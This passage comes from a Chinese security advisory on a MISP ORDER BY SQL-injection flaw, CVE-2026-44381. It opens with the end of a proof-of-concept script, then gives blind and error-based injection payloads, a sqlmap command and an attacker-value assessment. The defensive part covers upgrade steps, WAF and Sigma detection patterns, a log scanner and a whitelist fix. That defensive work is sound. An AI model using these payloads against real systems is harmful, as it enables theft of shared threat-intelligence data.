&nbsp; &nbsp;&nbsp;if&nbsp;vuln_events:
&nbsp; &nbsp; &nbsp; &nbsp; print("\n[阶段 3] 演示数据库信息提取...")
&nbsp; &nbsp; &nbsp; &nbsp; poc.poc_extract_database_name()

&nbsp; &nbsp; print("\n[结果汇总]")
&nbsp; &nbsp; print(f" &nbsp;事件列表端点(/events/index):{'存在漏洞'&nbsp;if&nbsp;vuln_events&nbsp;else&nbsp;'未检测到漏洞'}")
&nbsp; &nbsp; print(f" &nbsp;影子属性端点(/shadow_attributes):{'存在漏洞'&nbsp;if&nbsp;vuln_shadow&nbsp;else&nbsp;'未检测到漏洞'}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

5.2 关键 Payload 解析

时间盲注 payload(探测阶段)

-- 注入到 ORDER BY 子句后的完整 SQL(示意):
SELECT&nbsp;*&nbsp;FROM&nbsp;events&nbsp;ORDER&nbsp;BY&nbsp;(CASE&nbsp;WHEN&nbsp;(1=1)&nbsp;THEN&nbsp;SLEEP(5)&nbsp;ELSE&nbsp;0&nbsp;END)

-- 恒真条件触发 5 秒延迟,用于确认注入点存在
-- 恒假条件不延迟,用于区分网络抖动与真实延迟
SELECT&nbsp;*&nbsp;FROM&nbsp;events&nbsp;ORDER&nbsp;BY&nbsp;(CASE&nbsp;WHEN&nbsp;(1=0)&nbsp;THEN&nbsp;SLEEP(5)&nbsp;ELSE&nbsp;0&nbsp;END)

布尔盲注 payload(数据提取阶段)

-- 提取数据库名称第一个字符的 ASCII 值是否大于 109('m')
SELECT&nbsp;*&nbsp;FROM&nbsp;events
ORDER&nbsp;BY&nbsp;CASE&nbsp;WHEN&nbsp;(ASCII(SUBSTRING((SELECT&nbsp;database()),1,1)) >&nbsp;109)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;THEN&nbsp;id&nbsp;ELSE&nbsp;date&nbsp;END

-- 通过二分法逐步缩小范围,最终确定精确字符值
-- 提取完整数据库名称需要约 7*log2(95) ≈ 46 次请求

报错注入 payload(MySQL 特定,部分配置下有效)

-- 利用 MySQL 的 BIGINT 溢出报错,在错误信息中输出数据
SELECT&nbsp;*&nbsp;FROM&nbsp;events
ORDER&nbsp;BY&nbsp;(SELECT&nbsp;1&nbsp;FROM
&nbsp; (SELECT&nbsp;COUNT(*),
&nbsp; &nbsp;&nbsp;CONCAT((SELECT&nbsp;database()),&nbsp;FLOOR(RAND(0)*2))&nbsp;AS&nbsp;x
&nbsp; &nbsp;FROM&nbsp;information_schema.tables
&nbsp; &nbsp;GROUP&nbsp;BY&nbsp;x) err)

针对影子属性端点的 payload

-- 与事件列表端点相同的注入技术,应用于 /shadow_attributes/index
-- 可提取 shadow_attributes 表中未审核的原始情报数据
SELECT&nbsp;*&nbsp;FROM&nbsp;shadow_attributes
ORDER&nbsp;BY&nbsp;(CASE&nbsp;WHEN&nbsp;(ASCII(SUBSTRING((SELECT&nbsp;value&nbsp;FROM
&nbsp; shadow_attributes&nbsp;LIMIT&nbsp;1),1,1)) >&nbsp;64)&nbsp;THEN&nbsp;id&nbsp;ELSE&nbsp;event_id&nbsp;END)

5.3 与 sqlmap 集成

对于需要大量数据提取的场景,可以借助 sqlmap 的 --level 参数针对 ORDER BY 注入进行自动化利用:

# sqlmap 针对 ORDER BY 注入的调用示例
sqlmap -u&nbsp;"https://misp.example.com/events/index?sort=id"&nbsp;\
&nbsp; --param-filter="sort"&nbsp;\
&nbsp; --technique=BT \
&nbsp; --dbms=mysql \
&nbsp; --headers="Authorization: <API_KEY>"&nbsp;\
&nbsp; --level=3 \
&nbsp; --risk=2 \
&nbsp; --batch \
&nbsp; -p sort

注意:--technique=BT 指定仅使用布尔盲注(B)和时间盲注(T),与 ORDER BY 注入的可利用技术集匹配。


六、威胁情报数据泄露的危害分析

6.1 MISP 数据库的敏感数据分类

一个典型的生产 MISP 实例中,底层 MySQL 数据库可能包含以下高敏感数据:

核心情报数据表

  • events:威胁事件元数据,包括标题、描述、威胁等级、分析状态、发布状态
  • attributes:具体的威胁指标(IoC),包括 IP 地址、域名、文件哈希、URL、电子邮件地址等
  • shadow_attributes:待审核的未公开情报,敏感度可能高于已发布数据
  • objects:MISP 对象(结构化的属性集合,如网络连接五元组、文件对象等)
  • attribute_tags / event_tags:情报标签,包含 TLP 级别、PAP 标记等

组织与用户数据表

  • organisations:参与情报共享的组织信息
  • users:用户账户信息,包括用于 API 认证的哈希密钥
  • sharing_groups / sharing_group_orgs:情报共享组配置,揭示哪些组织之间存在协作关系

系统配置表

  • server_settings:MISP 实例配置,可能包含加密密钥、SMTP 配置、代理配置等
  • servers:联邦同步的上下游 MISP 实例地址和认证信息

6.2 泄露的直接危害

对防御方的直接危害

  1. 检测能力暴露:攻击者通过获取受害组织 MISP 中存储的 IoC 列表,可以了解防御方正在监控哪些恶意指标,从而有针对性地更换基础设施(域名、IP、文件哈希),主动绕过检测。
  2. 溯源调查信息泄露:MISP 事件中通常包含与正在进行的安全事件响应相关的调查信息,包括已识别的攻击基础设施、攻击者 TTPs 分析结论、受害资产列表等。这些信息的泄露可能直接破坏正在进行的溯源调查。
  3. 情报来源暴露:部分 MISP 属性标注了情报来源(通过 comment 字段或关联的 Galaxy),泄露的数据可能暴露情报来源渠道,危及情报合作关系。

对情报共享生态的危害

  1. 级联泄露效应:MISP 联邦同步机制使得单个实例中可能包含来自多个组织的情报。一个实例被入侵,可能导致整个共享网络中所有参与组织的情报数据暴露。
  2. API 密钥泄露users 表中存储了 MISP API 密钥的哈希值。若攻击者能够提取并破解这些哈希,可进一步获得对 MISP 实例的持久访问权限,或利用泄露的 API 密钥访问联邦同步的其他实例。
  3. TLP 机密标记情报泄露:MISP 支持 TLP(Traffic Light Protocol)标记,TLP:RED 级别的情报理应仅限于特定受众。SQL 注入绕过了 MISP 的访问控制层,即使攻击者的账户权限不足以通过正常 API 访问 TLP:RED 情报,仍可通过直接操纵数据库查询获取。

6.3 攻击者视角的利用价值评估

从攻击者视角来看,CVE-2026-44381 的利用价值在以下场景下尤为突出:

  • 针对特定行业的定向攻击:金融、医疗、能源等关键基础设施行业通常维护行业 ISAC,这些 ISAC 往往使用 MISP 进行行业内部情报共享。攻击者若已渗透某行业目标,可通过攻击该行业的 MISP 实例获取整个行业的威胁情报库,用于规避整个行业的安全防护体系。
  • 供应链情报投毒的前期侦察:在发动供应链攻击之前,攻击者可通过 CVE-2026-44381 获取目标供应链相关组织正在监控的 IoC,确保自己的攻击基础设施未被目标组织的情报体系标记。
  • 国家级对手的战略价值:对于具有国家背景的攻击者而言,获取某国政府 CERT 或军事组织 MISP 实例中的数据,具有显著的战略情报价值。

七、影响评估

7.1 CVSS v4 评分分析

CVE-2026-44381 的 CVSS v4 评分为 9.3(严重),各维度评估如下:

| 维度 | 评分值 | 说明 | | — | — | — | | 攻击向量(AV) | Network | 可通过网络远程利用 | | 攻击复杂度(AC) | Low | 无需特殊前提条件 | | 所需权限(PR) | Low | 需要有效的低权限账户 | | 用户交互(UI) | None | 无需用户交互 | | 机密性影响(VC) | High | 可访问整个数据库 | | 完整性影响(VI) | Low | 主要为数据读取,写入能力有限 | | 可用性影响(VA) | None | 不影响服务可用性 |

所需权限(PR: Low)的说明:漏洞利用需要合法的 MISP 账户(低权限账户即可),这意味着以下场景均可触发漏洞:

  • 内部人员滥用权限
  • 攻击者通过弱口令、钓鱼或凭证填充获取低权限账户后的横向提权
  • 拥有 MISP 账户的外部情报共享合作伙伴(恶意行为者)

MISP 通常向多个合作组织开放账户,”低权限账户即可利用”这一特性使得潜在攻击者范围远大于典型的内部人员威胁。

7.2 漏洞历史对比

MISP 在 SQL 注入方面有一定历史记录:

| 时间 | 修复版本 | 漏洞描述 | | — | — | — | | 2023 | v2.4.166/v2.4.167 | 类似的 ORDER BY 注入,不同的代码路径 | | 2026 | v2.5.37 | CVE-2026-44381,事件列表和影子属性列表端点 |

历史重复性表明 MISP 代码库中存在系统性的安全实践问题,而非偶发的代码错误。

7.3 受影响范围估算

基于 MISP 的部署规模(全球超过 6000 个已知实例),以及补丁通常需要数周到数月才能在生产环境中全面推广的现实,CVE-2026-44381 在公开披露后的一段时间内将影响大量生产实例。特别是:

  • 资源有限的中小型组织可能无法及时跟踪开源项目的安全更新
  • 部分部署在离线环境中的 MISP 实例升级窗口更长
  • 集成了大量下游系统的生产 MISP 实例可能因担心升级影响稳定性而推迟升级

八、修复建议

8.1 立即行动:升级到 MISP 2.5.37

最优先的修复措施是立即将 MISP 升级至 2.5.37 或更高版本。官方修复通过对事件列表和影子属性列表端点的排序参数实施严格的白名单校验来解决该漏洞。

升级步骤参考官方文档:

# 标准 MISP 升级流程(以 Ubuntu 为例)
cd&nbsp;/var/www/MISP
sudo -u www-data git fetch origin
sudo -u www-data git checkout v2.5.37
sudo -u www-data php composer.phar install --no-dev
# 执行数据库迁移
sudo -u www-data /var/www/MISP/app/Console/cake Admin runUpdates
# 验证版本
sudo -u www-data php /var/www/MISP/app/Console/cake Admin getSetting MISP.version

升级前建议:

  1. 完整备份数据库(mysqldump misp > misp_backup_$(date +%Y%m%d).sql
  2. 在测试环境验证升级流程
  3. 检查依赖的第三方集成是否兼容新版本

8.2 临时缓解措施(无法立即升级时)

若因业务原因无法立即升级,以下措施可降低漏洞被利用的风险:

Web 应用防火墙(WAF)规则

在 WAF 层面过滤事件列表和影子属性列表端点的排序参数中的 SQL 注入特征:

# Nginx + ModSecurity 规则示例
SecRule ARGS:sort "@rx (?i)(sleep|case\s+when|benchmark|if\(|ascii|substring|mid\(|char\(|convert|cast|0x|union|select|from|where)" \
&nbsp; "id:999001,phase:2,deny,status:403,log,msg:'CVE-2026-44381 ORDER BY Injection'"

SecRule ARGS:order "@rx (?i)(sleep|case\s+when|benchmark|if\(|ascii|substring|mid\(|char\(|convert|cast|0x|union|select|from|where)" \
&nbsp; "id:999002,phase:2,deny,status:403,log,msg:'CVE-2026-44381 ORDER BY Injection'"

数据库权限最小化

确认 MISP 使用的数据库账户仅具备必要的最小权限,移除不必要的 FILESUPERCREATEDROP 等权限,限制 SELECT 的范围仅覆盖 MISP 业务所需的数据库:

-- 检查 MISP 数据库账户权限
SHOW&nbsp;GRANTS&nbsp;FOR&nbsp;'misp'@'localhost';

-- 如存在过度权限,重新授权
REVOKE&nbsp;ALL&nbsp;PRIVILEGES&nbsp;ON&nbsp;*.*&nbsp;FROM&nbsp;'misp'@'localhost';
GRANT&nbsp;SELECT,&nbsp;INSERT,&nbsp;UPDATE,&nbsp;DELETE&nbsp;ON&nbsp;misp.*&nbsp;TO&nbsp;'misp'@'localhost';
FLUSH&nbsp;PRIVILEGES;

网络访问控制

限制 MISP Web 界面和 API 端点的网络访问来源,确保只有受信任的 IP 段可以访问:

# Nginx 访问控制示例
location ~* ^/(events|shadow_attributes)/index {
&nbsp; &nbsp; allow 10.0.0.0/8;
&nbsp; &nbsp; allow 192.168.0.0/16;
&nbsp; &nbsp; deny all;
}

账户审计

由于漏洞需要低权限账户即可利用,应立即审计所有 MISP 账户:

  1. 停用或删除不活跃账户
  2. 强制重置所有账户密码及 API 密钥
  3. 启用 MFA(MISP 2.x 支持 TOTP)
  4. 审查共享组织账户的权限配置

8.3 代码层面的根本修复原则

对于 MISP 贡献者和需要维护 fork 版本的组织,ORDER BY 注入的根本修复方案是:

// 不安全的实现(漏洞模式)
$sortField =&nbsp;$this->request->getQuery('sort');
$query->order([$sortField =>&nbsp;'ASC']);&nbsp;// 直接使用用户输入

// 安全的实现(白名单校验)
$allowedSortFields = [
&nbsp; &nbsp;&nbsp;'id',&nbsp;'org_id',&nbsp;'date',&nbsp;'info',&nbsp;'distribution',
&nbsp; &nbsp;&nbsp;'timestamp',&nbsp;'analysis',&nbsp;'attribute_count',
&nbsp; &nbsp;&nbsp;'orgc_id',&nbsp;'threat_level_id',&nbsp;'published',
&nbsp; &nbsp;&nbsp;'publish_timestamp',&nbsp;'uuid'
];
$sortField =&nbsp;$this->request->getQuery('sort',&nbsp;'id');
if&nbsp;(!in_array($sortField, $allowedSortFields,&nbsp;true)) {
&nbsp; &nbsp; $sortField =&nbsp;'id';&nbsp;// 回退到默认排序字段
}
$query->order([$sortField =>&nbsp;'ASC']);

关键点:

  • 使用严格类型比较(strict: true 或 in_array 的第三个参数传 true
  • 提供安全的默认回退值
  • 白名单列表应与实际业务需要的排序字段保持最小化

九、检测规则

9.1 SIEM 检测规则(Sigma 格式)

title:&nbsp;CVE-2026-44381&nbsp;MISP&nbsp;ORDER&nbsp;BY&nbsp;SQL&nbsp;Injection&nbsp;Attempt
id:&nbsp;a3f8c2d1-9b4e-4f7a-8c3d-2e1f9a0b5c6d
status:&nbsp;stable
description:&nbsp;|
&nbsp; 检测针对 MISP 事件列表和影子属性列表端点的 ORDER BY SQL 注入尝试。
&nbsp; 对应漏洞:CVE-2026-44381(MISP < 2.5.37)
references:
&nbsp;&nbsp;-&nbsp;https://github.com/MISP/MISP/security/advisories/GHSA-4cxp-22wm-j6jr
&nbsp;&nbsp;-&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2026-44381
tags:
&nbsp;&nbsp;-&nbsp;attack.initial_access
&nbsp;&nbsp;-&nbsp;attack.t1190
&nbsp;&nbsp;-&nbsp;attack.credential_access
&nbsp;&nbsp;-&nbsp;attack.t1552
author:&nbsp;Security&nbsp;Lab
date:&nbsp;2026-05-14
logsource:
&nbsp;&nbsp;category:&nbsp;webserver
detection:
&nbsp;&nbsp;selection_endpoint:
&nbsp; &nbsp;&nbsp;cs-uri-stem|contains:
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'/events/index'
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'/shadow_attributes/index'
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'/events/restSearch'
&nbsp;&nbsp;selection_payload:
&nbsp; &nbsp;&nbsp;cs-uri-query|contains|any:
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'sleep('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'SLEEP('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'CASE WHEN'
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'case when'
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'benchmark('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'BENCHMARK('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'ascii('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'ASCII('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'substring('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'SUBSTRING('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'char('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'CHAR('
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'0x'
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;'information_schema'
&nbsp;&nbsp;condition:&nbsp;selection_endpoint&nbsp;and&nbsp;selection_payload
falsepositives:
&nbsp;&nbsp;-&nbsp;安全测试人员的合法渗透测试活动
&nbsp;&nbsp;-&nbsp;包含上述关键字的合法情报属性值(通过&nbsp;IoC&nbsp;搜索触发)
level:&nbsp;high
fields:
&nbsp;&nbsp;-&nbsp;cs-ip
&nbsp;&nbsp;-&nbsp;cs-username
&nbsp;&nbsp;-&nbsp;cs-uri-stem
&nbsp;&nbsp;-&nbsp;cs-uri-query
&nbsp;&nbsp;-&nbsp;cs-user-agent

9.2 WAF 规则(ModSecurity)

# CVE-2026-44381 专项检测规则
# 检测 MISP 事件列表和影子属性列表端点的 ORDER BY 注入

SecRule REQUEST_URI "@rx /(events|shadow_attributes)/(index|restSearch)" \
&nbsp; "chain,id:999100,phase:2,log,msg:'CVE-2026-44381 MISP SQL Injection Probe'"
&nbsp; SecRule ARGS:sort|ARGS:order "@rx (?i)(\bsleep\s*\(|\bcase\s+when\b|\bbenchmark\s*\(|\bif\s*\(|0x[0-9a-fA-F]+|\binformation_schema\b)" \
&nbsp; &nbsp; "block,status:400,severity:CRITICAL"

# 时间盲注专项检测
SecRule REQUEST_URI "@rx /(events|shadow_attributes)/(index|restSearch)" \
&nbsp; "chain,id:999101,phase:2,log,msg:'CVE-2026-44381 Time-based Blind SQLi'"
&nbsp; SecRule ARGS:sort|ARGS:order "@rx (?i)(sleep\s*\(\s*[1-9]|benchmark\s*\(\s*[0-9]+)" \
&nbsp; &nbsp; "block,status:400,severity:CRITICAL"

# 布尔盲注专项检测
SecRule REQUEST_URI "@rx /(events|shadow_attributes)/(index|restSearch)" \
&nbsp; "chain,id:999102,phase:2,log,msg:'CVE-2026-44381 Boolean Blind SQLi'"
&nbsp; SecRule ARGS:sort|ARGS:order "@rx (?i)(case\s+when\s*\(|ascii\s*\(|substring\s*\(|char\s*\()" \
&nbsp; &nbsp; "block,status:400,severity:CRITICAL"

9.3 数据库层检测(MySQL 审计)

-- 启用 MySQL 通用查询日志(临时,性能影响较大,建议仅在调查期间使用)
SET&nbsp;GLOBAL&nbsp;general_log =&nbsp;'ON';
SET&nbsp;GLOBAL&nbsp;general_log_file =&nbsp;'/var/log/mysql/general.log';

-- 检查 ORDER BY 子句中的异常表达式(在日志中搜索以下模式)
-- grep 模式(在 general_log 文件中执行):
-- ORDER BY.*CASE WHEN
-- ORDER BY.*SLEEP\(
-- ORDER BY.*SUBSTRING\(
-- ORDER BY.*ASCII\(

-- 启用 MariaDB 审计插件(生产环境推荐)
INSTALL&nbsp;PLUGIN&nbsp;server_audit&nbsp;SONAME&nbsp;'server_audit';
SET&nbsp;GLOBAL&nbsp;server_audit_logging =&nbsp;ON;
SET&nbsp;GLOBAL&nbsp;server_audit_events =&nbsp;'QUERY';
SET&nbsp;GLOBAL&nbsp;server_audit_query_log_limit =&nbsp;2048;

9.4 应用层日志分析(Python 脚本)

#!/usr/bin/env python3
"""
CVE-2026-44381 日志分析脚本
分析 MISP Web 服务器访问日志,识别可能的 ORDER BY 注入尝试
"""
import&nbsp;re
import&nbsp;sys
from&nbsp;collections&nbsp;import&nbsp;defaultdict
from&nbsp;urllib.parse&nbsp;import&nbsp;urlparse, parse_qs, unquote

# ORDER BY 注入特征模式
INJECTION_PATTERNS = [
&nbsp; &nbsp; re.compile(r'sleep\s*\(', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'case\s+when', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'benchmark\s*\(', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'ascii\s*\(', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'substring\s*\(', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'information_schema', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'0x[0-9a-fA-F]{4,}', re.IGNORECASE),
&nbsp; &nbsp; re.compile(r'char\s*\(', re.IGNORECASE),
]

VULNERABLE_ENDPOINTS = [
&nbsp; &nbsp;&nbsp;'/events/index',
&nbsp; &nbsp;&nbsp;'/shadow_attributes/index',
&nbsp; &nbsp;&nbsp;'/events/restSearch',
]

def&nbsp;analyze_log_line(line: str)&nbsp;-> dict |&nbsp;None:
&nbsp; &nbsp;&nbsp;"""分析单行访问日志,返回可疑请求信息或 None。"""
&nbsp; &nbsp;&nbsp;# 适配 Apache Combined Log Format
&nbsp; &nbsp; match = re.match(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r'(\S+)\s+\S+\s+(\S+)\s+\[([^\]]+)\]\s+"(\w+)\s+(\S+)\s+\S+"\s+(\d+)',
&nbsp; &nbsp; &nbsp; &nbsp; line
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None

&nbsp; &nbsp; ip, user, timestamp, method, uri, status = match.groups()
&nbsp; &nbsp; decoded_uri = unquote(uri)
&nbsp; &nbsp; parsed = urlparse(decoded_uri)

&nbsp; &nbsp;&nbsp;# 检查是否为受影响端点
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;any(parsed.path.startswith(ep)&nbsp;for&nbsp;ep&nbsp;in&nbsp;VULNERABLE_ENDPOINTS):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None

&nbsp; &nbsp;&nbsp;# 检查查询参数
&nbsp; &nbsp; params = parse_qs(parsed.query)
&nbsp; &nbsp;&nbsp;for&nbsp;param_name&nbsp;in&nbsp;('sort',&nbsp;'order'):
&nbsp; &nbsp; &nbsp; &nbsp; values = params.get(param_name, [])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;value&nbsp;in&nbsp;values:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;pattern&nbsp;in&nbsp;INJECTION_PATTERNS:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;pattern.search(value):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'ip': ip,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'user': user,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'timestamp': timestamp,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'method': method,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'uri': uri,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'status': status,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'suspicious_param': param_name,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'suspicious_value': value,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;None

def&nbsp;main():
&nbsp; &nbsp; log_file = sys.argv[1]&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;else&nbsp;'/var/log/nginx/access.log'
&nbsp; &nbsp; findings = []
&nbsp; &nbsp; ip_counts = defaultdict(int)

&nbsp; &nbsp;&nbsp;with&nbsp;open(log_file,&nbsp;'r', errors='replace')&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;line_num, line&nbsp;in&nbsp;enumerate(f,&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = analyze_log_line(line.strip())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;result:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result['line_num'] = line_num
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; findings.append(result)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip_counts[result['ip']] +=&nbsp;1

&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;findings:
&nbsp; &nbsp; &nbsp; &nbsp; print("[*] 未发现可疑请求")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp; print(f"[!] 发现&nbsp;{len(findings)}&nbsp;条可疑请求(涉及&nbsp;{len(ip_counts)}&nbsp;个 IP)")
&nbsp; &nbsp; print()

&nbsp; &nbsp;&nbsp;# 按 IP 聚合输出
&nbsp; &nbsp;&nbsp;for&nbsp;ip, count&nbsp;in&nbsp;sorted(ip_counts.items(), key=lambda&nbsp;x: -x[1]):
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[IP:&nbsp;{ip}] 可疑请求数:{count}")
&nbsp; &nbsp; &nbsp; &nbsp; ip_findings = [f&nbsp;for&nbsp;f&nbsp;in&nbsp;findings&nbsp;if&nbsp;f['ip'] == ip]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;ip_findings[:3]: &nbsp;# 每个 IP 最多显示前 3 条
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp;行&nbsp;{f['line_num']}: [{f['timestamp']}] "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{f['method']}&nbsp;{f['uri'][:100]}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp;可疑参数&nbsp;{f['suspicious_param']}={f['suspicious_value'][:80]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;count >&nbsp;3:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp;... 以及另外&nbsp;{count -&nbsp;3}&nbsp;条")
&nbsp; &nbsp; &nbsp; &nbsp; print()

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

十、时间线与修复版本

| 日期 | 事件 | | — | — | | 2026-05-14 | CVE-2026-44381 公开披露(GitHub Advisory GHSA-4cxp-22wm-j6jr) | | 2026-05-14 | MISP v2.5.37 发布,包含修复补丁 | | 2026-05-14 | NVD 收录(CVSS v4 9.3) |

漏洞修复与披露同步进行,属于协调披露(Coordinated Disclosure)模式,这意味着在官方发布修复版本的同时漏洞细节才被公开。


十一、总结

CVE-2026-44381 是一个技术上属于已知类型(ORDER BY 子句注入)但在业务上具有极高危害潜力的漏洞。其核心价值不在于技术新颖性,而在于以下几点:

第一,攻击目标的特殊性。MISP 是全球最广泛部署的威胁情报共享平台,其数据库中的内容直接关系到防御方的情报优势。针对 MISP 的数据库层攻击,其战略价值远超针对普通 Web 应用的同类攻击。

第二,所需权限门槛低。只需低权限账户即可触发漏洞,而 MISP 的协作共享机制使得大量外部组织账户天然具备访问权限,潜在攻击者范围宽泛。

第三,漏洞模式的历史重复性。2023 年同类漏洞修复后,相似模式仍在不同代码路径中存在。这说明对于大型开源项目,针对特定端点的局部修复不能取代对整个代码库的系统性安全审查。

对于所有运行 MISP 的组织,建议行动优先级如下:

  1. 立即升级至 MISP 2.5.37(最高优先级)
  2. 审计当前所有 MISP 账户,确认无不必要的外部账户
  3. 部署 WAF 规则作为防御纵深
  4. 将 MISP 访问日志纳入 SIEM 监控,启用上述检测规则

参考链接

  • GHSA-4cxp-22wm-j6jr:GitHub Security Advisory(官方漏洞披露)
  • MISP v2.5.37 Release Notes(修复版本发布说明)
  • NVD CVE-2026-44381 详情

本文由网络安全实验室技术团队撰写,仅供安全研究和防御参考使用。文中所有 PoC 代码和检测规则均面向授权测试和防御部署场景,请勿用于未授权的攻击活动。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CVE-SEC CVE-SEC CVE-SEC《CVE-2026-44381:MISP 威胁情报平台 ORDER BY 子句 SQL 注入》

评论:0   参与:  0